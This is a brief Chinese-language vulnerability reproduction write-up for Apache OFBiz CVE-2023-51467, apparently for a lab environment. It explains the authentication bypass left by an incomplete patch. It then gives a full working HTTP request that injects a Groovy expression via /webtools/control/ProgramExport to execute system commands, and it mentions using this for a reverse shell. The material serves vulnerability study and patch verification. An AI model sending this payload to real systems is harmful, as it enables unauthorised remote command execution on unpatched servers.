Apache OFBiz 鉴权绕过导致命令执行(CVE-2023-51467)
概述
Apache OFBiz 是一个开源的企业级应用程序框架,主要用于构建大型的、跨平台的、多层的、分布式的电子商务应用系统。它提供了构建 ERP (企业资源规划), CRM (客户关系管理), 电子商务, SCM (供应链管理) 等系统所需的各种组件和工具。OFBiz 基于 J2EE 和 XML 规范,采用 Java 语言开发,并遵循 Apache License 2.0 许可协议。
在 Apache OFBiz 18.12.11 之前的版本,由于官方对于 CVE-2023-49070 的不完全修复,即虽然在 Apache OFBiz 18.12.10 版本中,官方移除了可能导致 RCE 漏洞的 XMLRPC 组件,但全局的权限登陆校验的 Filter 仍未修复,导致了依然可以权限绕过去调用其他后台接口,例如与该漏洞有关的 ProgramExport 模块。
来自长亭科技的安全研究员枇杷哥利用这一点找到了另一个可以导致 RCE 的方法:Groovy 表达式注入。
漏洞复现
启动靶场以后。
抓包,随后发送如下请求包(抓的包为 HTTPS 请求):
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.2.243:8443
Content-Type: application/x-www-form-urlencoded
groovyProgram=throw+new+Exception('commond'.execute().text);
即可执行相应的命令,例如反弹 Shell。